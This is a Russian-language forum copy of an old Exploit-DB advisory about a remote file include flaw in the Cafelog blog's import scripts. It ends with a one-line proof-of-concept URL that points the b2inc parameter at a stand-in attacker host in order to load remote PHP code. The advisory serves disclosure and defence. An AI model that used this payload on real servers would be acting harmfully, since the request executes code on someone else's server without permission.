- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 22672
- Проверка EDB
-
- Пройдено
- Автор
- POKLEYZZ
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- null
- Дата публикации
- 2003-05-29
Код:
source: https://www.securityfocus.com/bid/7738/info
A remote file include vulnerability has been reported for Cafelog. Due to insufficient sanitization of some user-supplied variables by the 'blogger-2-b2.php' and 'gm-2-b2.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.
If the remote file is a malicious PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the web server.
http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com
- Источник
- www.exploit-db.com